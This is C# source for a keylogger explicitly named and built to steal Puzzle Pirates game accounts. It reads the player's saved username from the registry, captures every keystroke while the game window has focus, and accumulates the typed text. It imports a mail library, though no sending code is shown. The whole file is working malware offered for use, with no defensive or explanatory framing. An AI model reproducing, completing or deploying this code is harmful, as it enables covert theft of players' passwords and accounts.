Puzzle Pirates Keylogger

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Diagnostics;
using System.Net.Mail;
using Microsoft.Win32;

namespace PPKeylogger
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll")]
        public static extern int FindWindow(string lpClassName, string lpWindowName);

        delegate void SetTextCallback(int key, bool iscaps, bool isshift);

        private KeyClass KeyClass;

        private bool IsDisabled = false;

        private string KBText = "";
        private string CPInfo = "";
        private string PPRegistry = (string)Registry.GetValue(@"HKEY_CURRENT_USER\Software\JavaSoft\Prefs\rsrc\config\yohoho\client", "username", null);

        public Form1()
        {
            InitializeComponent();

            KeyClass = new KeyClass();
            KeyClass.displayinfodelegate += new KeyClass.DisplayInfoDelegate(KeyClass_Set);
            KeyClass.StartCaptureKey();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            if (PPRegistry != null)
            {
                System.Console.Write("The last typed username was: " + PPRegistry + "\n");
            }
        }

        void KeyClass_Set(int key, bool iscaps, bool isshift)
        {
            try
            {
                SetTextCallback d = new SetTextCallback(CaptureKeys);
                this.Invoke(d, key, iscaps, isshift);
            }
            catch { }
        }

        private void CaptureKeys(int key, bool iscaps, bool isshift)
        {
            if (IsDisabled)
            {
                return;
            }

            string str_key = "";

            if (key == (int)System.Windows.Forms.Keys.D1 || key == (int)System.Windows.Forms.Keys.NumPad1)
            {
                if (!isshift)
                {
                    str_key = "1";
                }
                else
                {
                    str_key = "!";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D2 || key == (int)System.Windows.Forms.Keys.NumPad2)
            {
                if (!isshift)
                {
                    str_key = "2";
                }
                else
                {
                    str_key = "@";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D3 || key == (int)System.Windows.Forms.Keys.NumPad3)
            {
                if (!isshift)
                {
                    str_key = "3";
                }
                else
                {
                    str_key = "#";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D4 || key == (int)System.Windows.Forms.Keys.NumPad4)
            {
                if (!isshift)
                {
                    str_key = "4";
                }
                else
                {
                    str_key = "$";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D5 || key == (int)System.Windows.Forms.Keys.NumPad5)
            {
                if (!isshift)
                {
                    str_key = "5";
                }
                else
                {
                    str_key = "%";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D6 || key == (int)System.Windows.Forms.Keys.NumPad6)
            {
                if (!isshift)
                {
                    str_key = "6";
                }
                else
                {
                    str_key = "^";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D7 || key == (int)System.Windows.Forms.Keys.NumPad7)
            {
                if (!isshift)
                {
                    str_key = "7";
                }
                else
                {
                    str_key = "&";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D8 || key == (int)System.Windows.Forms.Keys.NumPad8)
            {
                if (!isshift)
                {
                    str_key = "8";
                }
                else
                {
                    str_key = "*";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D9 || key == (int)System.Windows.Forms.Keys.NumPad9)
            {
                if (!isshift)
                {
                    str_key = "9";
                }
                else
                {
                    str_key = "(";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.D0 || key == (int)System.Windows.Forms.Keys.NumPad0)
            {
                if (!isshift)
                {
                    str_key = "0";
                }
                else
                {
                    str_key = ")";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Oemcomma)
            {
                if (!isshift)
                {
                    str_key = ",";
                }
                else
                {
                    str_key = "<";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemPeriod)
            {
                if (!isshift)
                {
                    str_key = ".";
                }
                else
                {
                    str_key = ">";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemSemicolon)
            {
                if (!isshift)
                {
                    str_key = ";";
                }
                else
                {
                    str_key = ":";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemQuotes)
            {
                if (!isshift)
                {
                    str_key = "'";
                }
                else
                {
                    str_key = '"'.ToString();
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemOpenBrackets)
            {
                if (!isshift)
                {
                    str_key = "[";
                }
                else
                {
                    str_key = "{";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemCloseBrackets)
            {
                if (!isshift)
                {
                    str_key = "]";
                }
                else
                {
                    str_key = "}";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemMinus)
            {
                if (!isshift)
                {
                    str_key = "-";
                }
                else
                {
                    str_key = "_";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Oemplus)
            {
                if (!isshift)
                {
                    str_key = "=";
                }
                else
                {
                    str_key = "+";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemBackslash)
            {
                if (!isshift)
                {
                    str_key = @"\";
                }
                else
                {
                    str_key = "|";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Oemtilde)
            {
                if (!isshift)
                {
                    str_key = "`";
                }
                else
                {
                    str_key = "~";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.OemQuestion)
            {
                if (!isshift)
                {
                    str_key = "/";
                }
                else
                {
                    str_key = "?";
                }
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Multiply)
            {
                str_key = "*";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Add)
            {
                str_key = "+";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Subtract)
            {
                str_key = "-";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Divide)
            {
                str_key = "/";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == 110)
            {
                str_key = ".";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Enter)
            {
                str_key = "\n";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Space)
            {
                str_key = " ";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (key == (int)System.Windows.Forms.Keys.Back)
            {
                str_key = "[bs]";
                KBText += str_key;
                CPInfo = KBText;
                return;
            }

            if (!System.Char.IsLetterOrDigit(Convert.ToChar(key)))
            {
                return;
            }

            if (iscaps && isshift)
            {
                KBText += Convert.ToChar(key).ToString().ToLower();
            }
            else if (iscaps || isshift)
            {
                KBText += Convert.ToChar(key).ToString().ToUpper();
            }
            else
            {
                KBText += Convert.ToChar(key).ToString().ToLower();
            }

            CPInfo = KBText;
            System.Console.Write("The last typed keystroke was: " + CPInfo + "\n");
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            if (FindWindow("SunAwtFrame", "Puzzle Pirates") > 0)
            {
                IsDisabled = false;
            }
            else
            {
                IsDisabled = true;
            }
        }
    }
}

// Credits to Andrew (Shrooms/Goomba)